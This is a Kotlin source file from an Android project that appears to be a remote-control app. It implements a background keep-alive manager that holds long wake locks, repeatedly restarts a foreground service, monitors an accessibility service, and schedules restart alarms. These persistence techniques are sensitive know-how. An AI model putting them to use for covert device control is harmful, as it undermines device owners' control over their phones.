- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等) - 优化 ScreenCaptureManager 截屏逻辑 - 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码 - 清理多个 KeepAlive 相关服务中的无用导入 - 精简 InstallationStateManager 代码
371 lines
13 KiB
Kotlin
371 lines
13 KiB
Kotlin
package com.hikoncont.service
|
||
|
||
import android.app.AlarmManager
|
||
import android.app.NotificationChannel
|
||
import android.app.NotificationManager
|
||
import android.app.PendingIntent
|
||
import android.content.BroadcastReceiver
|
||
import android.content.Context
|
||
import android.content.Intent
|
||
import android.content.IntentFilter
|
||
import android.os.PowerManager
|
||
import android.util.Log
|
||
import androidx.core.app.NotificationCompat
|
||
import kotlinx.coroutines.*
|
||
|
||
/**
|
||
* 后台保活管理器
|
||
* 专注于后台服务保活,不拉起MainActivity
|
||
*/
|
||
class BackgroundKeepAliveManager(private val context: Context) {
|
||
|
||
companion object {
|
||
private const val TAG = "BackgroundKeepAlive"
|
||
private const val CHECK_INTERVAL = 10000L // 30秒检查一次
|
||
private const val RESTART_DELAY = 5000L // 5秒后重启
|
||
}
|
||
|
||
private val managerScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
|
||
private var monitorJob: Job? = null
|
||
private var wakeLock: PowerManager.WakeLock? = null
|
||
private var isMonitoring = false
|
||
|
||
/**
|
||
* 开始后台保活监控
|
||
*/
|
||
fun startBackgroundKeepAlive() {
|
||
if (isMonitoring) {
|
||
Log.w(TAG, "⚠️ 后台保活监控已在运行")
|
||
return
|
||
}
|
||
|
||
Log.i(TAG, "🛡️ 开始后台保活监控")
|
||
isMonitoring = true
|
||
|
||
// 获取WakeLock
|
||
acquireWakeLock()
|
||
|
||
// 注册广播接收器
|
||
registerReceivers()
|
||
|
||
// 开始监控
|
||
startMonitoring()
|
||
|
||
// 确保前台服务运行
|
||
ensureForegroundService()
|
||
}
|
||
|
||
/**
|
||
* 停止后台保活监控
|
||
*/
|
||
fun stopBackgroundKeepAlive() {
|
||
if (!isMonitoring) {
|
||
return
|
||
}
|
||
|
||
Log.i(TAG, "🛑 停止后台保活监控")
|
||
isMonitoring = false
|
||
|
||
// 取消监控任务
|
||
monitorJob?.cancel()
|
||
|
||
// 释放WakeLock
|
||
releaseWakeLock()
|
||
|
||
// 注销广播接收器
|
||
unregisterReceivers()
|
||
|
||
// 取消协程作用域
|
||
managerScope.cancel()
|
||
}
|
||
|
||
/**
|
||
* 获取WakeLock保活
|
||
*/
|
||
private fun acquireWakeLock() {
|
||
try {
|
||
val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
|
||
wakeLock = powerManager.newWakeLock(
|
||
PowerManager.PARTIAL_WAKE_LOCK,
|
||
"RemoteControl::BackgroundKeepAlive"
|
||
)
|
||
wakeLock?.acquire(24 * 60 * 60 * 1000L) // 24小时
|
||
Log.i(TAG, "🔋 后台保活WakeLock已获取")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 获取后台保活WakeLock失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 释放WakeLock
|
||
*/
|
||
private fun releaseWakeLock() {
|
||
try {
|
||
wakeLock?.release()
|
||
wakeLock = null
|
||
Log.i(TAG, "🔋 后台保活WakeLock已释放")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 释放后台保活WakeLock失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 注册广播接收器
|
||
*/
|
||
private fun registerReceivers() {
|
||
try {
|
||
val filter = IntentFilter().apply {
|
||
addAction(Intent.ACTION_SCREEN_ON)
|
||
addAction(Intent.ACTION_SCREEN_OFF)
|
||
addAction(Intent.ACTION_USER_PRESENT)
|
||
// ✅ 参考 f 目录:已移除重启无障碍服务广播监听
|
||
}
|
||
context.registerReceiver(backgroundReceiver, filter)
|
||
Log.i(TAG, "📡 后台保活广播接收器已注册")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 注册后台保活广播接收器失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 注销广播接收器
|
||
*/
|
||
private fun unregisterReceivers() {
|
||
try {
|
||
context.unregisterReceiver(backgroundReceiver)
|
||
Log.i(TAG, "📡 后台保活广播接收器已注销")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 注销后台保活广播接收器失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 开始监控
|
||
*/
|
||
private fun startMonitoring() {
|
||
monitorJob = managerScope.launch {
|
||
while (isActive && isMonitoring) {
|
||
try {
|
||
checkAndRestartServices()
|
||
delay(CHECK_INTERVAL)
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 后台保活监控过程中发生错误", e)
|
||
delay(CHECK_INTERVAL)
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 检查并重启服务
|
||
*/
|
||
private fun checkAndRestartServices() {
|
||
try {
|
||
val accessibilityService = AccessibilityRemoteService.getInstance()
|
||
|
||
if (accessibilityService == null) {
|
||
Log.w(TAG, "⚠️ 检测到AccessibilityService不可用")
|
||
|
||
// 检查无障碍服务权限
|
||
if (!isAccessibilityServiceEnabled()) {
|
||
Log.w(TAG, "⚠️ 无障碍服务权限已丢失")
|
||
handleAccessibilityPermissionLost()
|
||
} else {
|
||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||
Log.d(TAG, "📱 无障碍服务权限正常,系统会自动管理无障碍服务生命周期")
|
||
}
|
||
}
|
||
|
||
// 检查前台服务
|
||
ensureForegroundService()
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查服务状态失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 检查无障碍服务是否启用
|
||
*/
|
||
private fun isAccessibilityServiceEnabled(): Boolean {
|
||
return try {
|
||
val accessibilityEnabled = android.provider.Settings.Secure.getInt(
|
||
context.contentResolver,
|
||
android.provider.Settings.Secure.ACCESSIBILITY_ENABLED
|
||
)
|
||
|
||
if (accessibilityEnabled == 1) {
|
||
val serviceId = "${context.packageName}/${AccessibilityRemoteService::class.java.canonicalName}"
|
||
val enabledServices = android.provider.Settings.Secure.getString(
|
||
context.contentResolver,
|
||
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
||
)
|
||
|
||
enabledServices?.contains(serviceId) == true
|
||
} else {
|
||
false
|
||
}
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 检查无障碍服务状态失败", e)
|
||
false
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 处理无障碍权限丢失(正确方案:提醒用户重新启用)
|
||
*/
|
||
private fun handleAccessibilityPermissionLost() {
|
||
try {
|
||
Log.w(TAG, "⚠️ 无障碍服务权限丢失,需要用户手动重新启用")
|
||
|
||
// 记录到操作日志
|
||
val service = AccessibilityRemoteService.getInstance()
|
||
service?.recordOperationLog("ACCESSIBILITY_PERMISSION_LOST", "无障碍服务权限丢失", mapOf(
|
||
"timestamp" to System.currentTimeMillis(),
|
||
"backgroundKeepAlive" to true
|
||
))
|
||
|
||
// 无障碍服务被杀死后无法自动重启,需要用户手动重新启用
|
||
// 通过通知或UI提醒用户
|
||
showAccessibilityPermissionLostNotification()
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 处理无障碍服务权限丢失失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 显示无障碍权限丢失通知
|
||
*/
|
||
private fun showAccessibilityPermissionLostNotification() {
|
||
try {
|
||
Log.i(TAG, "📱 显示无障碍权限丢失通知")
|
||
|
||
// 创建通知渠道
|
||
val notificationManager = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||
val channelId = "accessibility_permission_lost"
|
||
val channel = NotificationChannel(
|
||
channelId,
|
||
"无障碍权限提醒",
|
||
NotificationManager.IMPORTANCE_HIGH
|
||
).apply {
|
||
description = "当无障碍服务权限丢失时提醒用户"
|
||
enableLights(true)
|
||
lightColor = android.graphics.Color.RED
|
||
enableVibration(true)
|
||
}
|
||
notificationManager.createNotificationChannel(channel)
|
||
|
||
// 创建通知
|
||
val notification = NotificationCompat.Builder(context, channelId)
|
||
.setContentTitle("⚠️ 无障碍服务权限丢失")
|
||
.setContentText("请点击重新启用无障碍服务权限")
|
||
.setSmallIcon(android.R.drawable.ic_dialog_alert)
|
||
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
||
.setAutoCancel(true)
|
||
.setOngoing(false)
|
||
.setContentIntent(createAccessibilitySettingsPendingIntent())
|
||
.build()
|
||
|
||
notificationManager.notify(9999, notification)
|
||
Log.i(TAG, "✅ 无障碍权限丢失通知已显示")
|
||
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 显示无障碍权限丢失通知失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 创建无障碍设置页面的PendingIntent
|
||
*/
|
||
private fun createAccessibilitySettingsPendingIntent(): PendingIntent {
|
||
val intent = Intent(android.provider.Settings.ACTION_ACCESSIBILITY_SETTINGS)
|
||
intent.flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
||
return PendingIntent.getActivity(
|
||
context,
|
||
9999,
|
||
intent,
|
||
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
|
||
)
|
||
}
|
||
|
||
// ✅ 参考 f 目录:已移除重启无障碍服务的功能,系统会自动管理无障碍服务生命周期
|
||
|
||
/**
|
||
* 确保前台服务运行
|
||
*/
|
||
private fun ensureForegroundService() {
|
||
try {
|
||
val serviceIntent = Intent(context, RemoteControlForegroundService::class.java)
|
||
serviceIntent.action = "ENSURE_FOREGROUND"
|
||
context.startForegroundService(serviceIntent)
|
||
Log.d(TAG, "✅ 已确保前台服务运行")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 确保前台服务运行失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 安排服务自恢复
|
||
*/
|
||
private fun scheduleServiceRestart() {
|
||
try {
|
||
val alarmManager = context.getSystemService(Context.ALARM_SERVICE) as AlarmManager
|
||
|
||
val foregroundIntent = Intent(context, RemoteControlForegroundService::class.java).apply {
|
||
action = "RESTART_SERVICE"
|
||
}
|
||
val keepAliveIntent = Intent(context, KeepAliveService::class.java)
|
||
|
||
val pendingFlags = (PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
|
||
|
||
val foregroundPI = PendingIntent.getForegroundService(
|
||
context,
|
||
2001,
|
||
foregroundIntent,
|
||
pendingFlags
|
||
)
|
||
|
||
val keepAlivePI = PendingIntent.getService(
|
||
context,
|
||
2002,
|
||
keepAliveIntent,
|
||
pendingFlags
|
||
)
|
||
|
||
val triggerAt = System.currentTimeMillis() + RESTART_DELAY
|
||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt, foregroundPI)
|
||
alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerAt + 500, keepAlivePI)
|
||
|
||
Log.i(TAG, "⏰ 已安排服务自恢复")
|
||
} catch (e: Exception) {
|
||
Log.e(TAG, "❌ 安排服务自恢复失败", e)
|
||
}
|
||
}
|
||
|
||
/**
|
||
* 后台保活广播接收器
|
||
*/
|
||
private val backgroundReceiver = object : BroadcastReceiver() {
|
||
override fun onReceive(context: Context, intent: Intent) {
|
||
when (intent.action) {
|
||
Intent.ACTION_SCREEN_ON -> {
|
||
Log.d(TAG, "📱 屏幕点亮,检查服务状态")
|
||
checkAndRestartServices()
|
||
}
|
||
Intent.ACTION_SCREEN_OFF -> {
|
||
Log.d(TAG, "📱 屏幕熄灭,继续后台保活")
|
||
}
|
||
Intent.ACTION_USER_PRESENT -> {
|
||
Log.d(TAG, "👤 用户解锁,检查服务状态")
|
||
checkAndRestartServices()
|
||
}
|
||
"android.mycustrecev.RESTART_ACCESSIBILITY_SERVICE" -> {
|
||
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
||
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|